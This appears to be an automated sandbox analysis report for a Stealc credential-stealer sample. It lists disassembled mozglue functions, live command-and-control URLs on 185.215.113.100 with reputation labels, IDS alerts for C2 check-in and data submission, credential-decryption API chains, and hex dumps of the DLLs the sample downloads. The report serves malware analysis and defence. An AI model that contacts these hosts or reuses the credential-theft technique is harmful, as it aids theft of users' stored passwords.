Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 963c838518f10192125a3867ef8a426d323b039426372519ec600b1edefe628b
Instruction ID: 5485a8f3e2192e61696fcef1b1def41c96573418902047b7add8728581d26476
Opcode Fuzzy Hash: 963c838518f10192125a3867ef8a426d323b039426372519ec600b1edefe628b
Instruction Fuzzy Hash: 595166746086818FD741CF18C094A5ABBF1FF5A318F18C18AD8599BB66C336E885CFD2

Function 6CAFBD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6CAFBDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6CAFBE8F

Strings

0, xrefs: 6CAFBE5B

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: 93e2ba1214156618a705880d56a7273b3fb4b2a9c231d0b5f0c2beed83f02ffd
Instruction ID: 3f7455d88717e2eb3bf9928369852ca494fc89f562491d1a97b366bfafb23492
Opcode Fuzzy Hash: 93e2ba1214156618a705880d56a7273b3fb4b2a9c231d0b5f0c2beed83f02ffd
Instruction Fuzzy Hash: CE41B371909745CFC701DF39D481A9BBBF4AF8A388F008B1DF9A597611D730D98A8B92

Function 6CB33CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB33D19
mozalloc_abort.MOZGLUE(?), ref: 6CB33D6C

Strings

d, xrefs: 6CB33D58

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 742a99409913ab7434566affe802632560d7dc24adcd58ed2a5c93e2527c4c92
Instruction ID: a9caa39ce8433b2cdb675258f5fa913050deb816d4ad25e77e4e40baf7aa5e5e
Opcode Fuzzy Hash: 742a99409913ab7434566affe802632560d7dc24adcd58ed2a5c93e2527c4c92
Instruction Fuzzy Hash: 4B112335E046E8DBDB028F69D8144FEB775EF86318B44A218EC4D9B642FB30A5C5C7A0

Function 6CB56DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6CB56E22
__Init_thread_footer.LIBCMT ref: 6CB56E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6CB56E1D

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 7a20a064d2c7c320b8b386cddd5fc60db3f69fef2cd1525cbdf0e0fcd48dd997
Instruction ID: aa8752f82131c88cee1cb382629b1b742c680536b33a0b38f43527d8d780bcf5
Opcode Fuzzy Hash: 7a20a064d2c7c320b8b386cddd5fc60db3f69fef2cd1525cbdf0e0fcd48dd997
Instruction Fuzzy Hash: 8BF0B47970A2C08BDB139F68CC58A957772DB17228F440169CC1547BA1D721E526CBB7

Function 6CB09E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6CB09EEF

Strings

Infinity, xrefs: 6CB09EB7
NaN, xrefs: 6CB09EC1

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 98ac6f65f91067eda91bdb1d7fad8ce77bd0c3d757f3aba6a6c17923406085e9
Instruction ID: 2d3c97636416d42803b23a642ce1bb0aff340f23c3a06bbebc3c15b0936fce95
Opcode Fuzzy Hash: 98ac6f65f91067eda91bdb1d7fad8ce77bd0c3d757f3aba6a6c17923406085e9
Instruction Fuzzy Hash: 75F0C2707042F1CBDB128F58DA4D7A03771BB07318F210A55CD140BB80D735694ACBBA

Function 6CB0BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6CB0BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6CB0BEF5

Strings

cryptbase.dll, xrefs: 6CB0BEF0

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 094e4c9467e3664a43678ff44d874ba40dbafc9ea6dce2c5b1e3e31c6b1fdfa2
Instruction ID: b72fde7978170517e1c4d6867859dc0b79429b3ad29db3141fc0214f0f78a146
Opcode Fuzzy Hash: 094e4c9467e3664a43678ff44d874ba40dbafc9ea6dce2c5b1e3e31c6b1fdfa2
Instruction Fuzzy Hash: 5AD0A731280148E6C6016A508C09F153B749701325F10C820FB1544951C7B09410CF60

Function 6CB4B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CB4B2C9,?,?,?,6CB4B127,?,?,?,?,?,?,?,?,?,6CB4AE52), ref: 6CB4B628

Part of subcall function 6CB490E0: free.MOZGLUE(?,00000000,?,?,6CB4DEDB), ref: 6CB490FF
Part of subcall function 6CB490E0: free.MOZGLUE(?,00000000,?,?,6CB4DEDB), ref: 6CB49108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB4B2C9,?,?,?,6CB4B127,?,?,?,?,?,?,?,?,?,6CB4AE52), ref: 6CB4B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB4B2C9,?,?,?,6CB4B127,?,?,?,?,?,?,?,?,?,6CB4AE52), ref: 6CB4B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CB4B127,?,?,?,?,?,?,?,?), ref: 6CB4B74D

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 38f13ade41d8523dda08fc8b81c3126fdda8270ef05ccb34d6907522b3eab33a
Instruction ID: 92c44c9cb44b46a30445cfd96fc6a2a3d2a02e60889d2051fefdeb0870462b57
Opcode Fuzzy Hash: 38f13ade41d8523dda08fc8b81c3126fdda8270ef05ccb34d6907522b3eab33a
Instruction Fuzzy Hash: 8D51F171A09B568FDB14CF18C98476EB7B5FF85304F05C52DCA5AABB08D731A804DBA2

Function 6CB5B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CB00A4D), ref: 6CB5B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CB00A4D), ref: 6CB5B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CB00A4D), ref: 6CB5B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CB00A4D), ref: 6CB5B67F

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 3684480402f21dd882f9c9b08f51ea09cbfcb2916e060a38597b14aa8135825b
Instruction ID: 81745485ecd73104a7d2c68c8479de83cca37cda446dad87c828b6267f6280ff
Opcode Fuzzy Hash: 3684480402f21dd882f9c9b08f51ea09cbfcb2916e060a38597b14aa8135825b
Instruction Fuzzy Hash: 0331C671A052268FDB10CF58C84465EFBF5FF81314F968569C80A9B781DB31E925CBE1

Function 6CB2F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB2F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CB2F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB2F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CB2F668

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 8464bd0cd7f37c4bf7e9e98abcc3b5f40560769e87962e90e61af3439a7e342f
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: FA313E71A00264AFDB14CF5ACCC0AAF77B5EB88354B188539EA498BB08D635ED448B90

Function 6CB426B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB426C1
free.MOZGLUE(?), ref: 6CB426E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB426FF
free.MOZGLUE ref: 6CB4270D

Memory Dump Source

Source File: 00000000.00000002.2351041939.000000006CAF1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2351026110.000000006CAF0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351088068.000000006CB6D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351106761.000000006CB7E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351122356.000000006CB82000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: cd40f2433c8fca8d5fa9bbefe2bc1b9c1a2abd4e1cbb792519d2c63ae3ed8315
Instruction ID: c67400bb5c680c6f6af9b3b566631dde675c91d66ff9fc3c229345b70771b530
Opcode Fuzzy Hash: cd40f2433c8fca8d5fa9bbefe2bc1b9c1a2abd4e1cbb792519d2c63ae3ed8315
Instruction Fuzzy Hash: C2F02DB2B092805BE7009E18D88895B73ADEF5125CB104035EE1AC3B01E331FD18E7E7

Source: http://185.215.113.100/	URL Reputation: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.100	URL Reputation: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpion:	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpo	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpl	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/nss3.dllllVp	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpb	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/mozglue.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpho	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/sqlite3.dll2	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/softokn3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.100#G	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.php0oQ	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/sqlite3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/freebl3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/nss3.dlllC	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpata	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/nss3.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/nss3.dllllDp	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/msvcp140.dll6	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpBOK	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpdo	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/msvcp140.dll	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/mozglue.dlljp	Avira URL Cloud: Label: malware
Source: 185.215.113.100/e2b1563c6670f193.php	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/msvcp140.dll%	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpnfigOverlay	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/nss3.dll.	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/sqlite3.dllz	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/0d60be0de163924d/nss3.dllll	Avira URL Cloud: Label: malware
Source: http://185.215.113.100/e2b1563c6670f193.phpDHCBGDHJKEBGDGIJEq	Avira URL Cloud: Label: malware

Source: http://185.215.113.100/e2b1563c6670f193.phpion:	Virustotal: Detection: 6%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpb	Virustotal: Detection: 7%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpl	Virustotal: Detection: 7%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/mozglue.dll	Virustotal: Detection: 6%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpo	Virustotal: Detection: 7%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/vcruntime140.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/softokn3.dll	Virustotal: Detection: 6%	Perma Link
Source: http://185.215.113.100#G	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpho	Virustotal: Detection: 17%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/freebl3.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/sqlite3.dll	Virustotal: Detection: 21%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/nss3.dll	Virustotal: Detection: 21%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/msvcp140.dll6	Virustotal: Detection: 18%	Perma Link
Source: 185.215.113.100/e2b1563c6670f193.php	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/msvcp140.dll	Virustotal: Detection: 20%	Perma Link
Source: http://185.215.113.100/e2b1563c6670f193.phpnfigOverlay	Virustotal: Detection: 6%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/sqlite3.dllz	Virustotal: Detection: 18%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/nss3.dll.	Virustotal: Detection: 10%	Perma Link
Source: http://185.215.113.100/0d60be0de163924d/nss3.dllll	Virustotal: Detection: 7%	Perma Link

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A9BB0 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_009A9BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009B8940 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_009B8940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A7280 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_009A7280
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009A9B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_009A9B10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_009AC660 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_009AC660
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB06C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6CB06C80

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49710 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49710 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.100:80 -> 192.168.2.6:49710
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49710 -> 185.215.113.100:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.100:80 -> 192.168.2.6:49710
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49710 -> 185.215.113.100:80

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 28 Aug 2024 09:51:06 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 28 Aug 2024 09:51:11 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 